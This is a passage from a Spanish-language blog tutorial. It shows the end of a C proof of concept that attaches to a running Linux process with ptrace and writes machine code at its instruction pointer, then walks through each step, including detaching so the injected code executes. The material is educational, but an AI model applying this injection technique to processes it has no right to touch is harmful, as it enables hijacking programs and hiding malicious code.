 for (i=0;i<strlen(code);i++){
 if (ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(unsigned char*)(code+i))) {
 perror("[!]ptrace: POKEDATA");
 exit(1);
 }
 }

 printf("[+] Code injected succesfully!\n[?] Detaching...\n");
 if (ptrace(PTRACE_DETACH, pid, 0, SIGCONT) == -1){
 if (errno != ESRCH){
 // no debería suceder
 perror("[!] Detach: ");
 exit(1);

 }
 // deberia comprobarse que el proceso existe,
 // si existe, debería pararse con SIGSTOP antes del
 // detach. Si está parado por otra señal, hacerlo continuar
 // y pararlo... y teniendo en cuenta threads y grupos...
 // pero esto es una POC :P
 kill(pid, SIGCONT);
 }
 printf("[+] Done!\n");
 return 0;
}

En primer lugar, perdonadme por el spanglish. Los comentarios los he puesto en castellano para que se entienda mejor el código, si bien los mensajes los estaba poniendo en inglés por si hacía una versión mejorada del programa, que pudiera usarlo más gente. Explicamos el asunto. La variable code, contiene el programa que vimos antes en ensamblador, pero ya pasado por nasm, es decir, en código máquina, de tal forma que pueda ejecutarse directamente donde lo copiemos. La estructura user_regs_struct está definida en <sys/user.h> y contiene los registros del procesador. La usaremos para leer del proceso víctima el EIP, e inyectar allí nuestro código.

Lo primero que hacemos es engancharnos al proceso cuyo pid hemos recibido como parámetro, mediante la orden ptrace(PTRACE_ATTACH, pid, 0, 0). Al realizar un ATTACH, los dos últimos parámetros de ptrace (data, y addr) son ignorados, por lo que los pondremos a cero. Esto nos convierte en el padre del proceso pid, y lo detiene. Sin embargo, es posible que al terminar la llamada a PTRACE_ATTACH, el proceso aún no se haya detenido, por lo que nos aseguramos de ello con un wait. Una vez que el proceso se ha detenido, leemos sus registros del procesador con ptrace(PTRACE_GETREGS, pid, 0, &regs) y los almacenamos en regs. De ahí extraeremos el EIP, y en el bucle siguiente, escribiremos nuestro código donde apunta EIP (para que se ejecute en cuanto el proceso continúe), con ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(unsigned char*)(code+i)). POKEDATA escribe en el espacio de memoria del proceso pid, en la dirección (regs.eip+i), el valor de (code+i).

Si todo ha ido bien, lo siguiente que deberíamos hacer es desengancharnos del proceso y que continúe su ejecución. Para ello, usaremos ptrace(PTRACE_DETACH, pid, 0, SIGCONT). Esto nos desenganchará y hará que el proceso continúe desde donde fue detenido (donde hemos inyectado nuestro código). En un entorno “real”, serían necesarias muchas más consideraciones a la hora de desengancharse del proceso. Por ejemplo, si el proceso está en un grupo (es un thread), el tratamiento de las señales es un poco más esquivo, y hay que hacerlo con más cuidado. Del mismo modo, Linux fuerza a que el proceso esté detenido por SIGSTOP para poder desengancharte, por lo que debe comprobarse si esto es así, y de no serlo, hacer que continúe hasta que se pare por SIGSTOP, y entonces desengancharte. Existen otros pequeños detalles a tener en cuenta, pero no son demasiado relevantes para esta pequeña introducción.

El resultado de todo esto es el siguiente.

Inyección de memoria

Enseñandole el verdadero sentido de la vida

Muy bien, ¿y todo esto para qué sirve? Pues aparte de para programar un depurador (gdb, strace…) para cosas más interesantes, que veremos en la siguiente entrada ;) Hasta entonces, cualquier aportación, tenéis los comentarios.

Seguir

Get every new post delivered to your Inbox.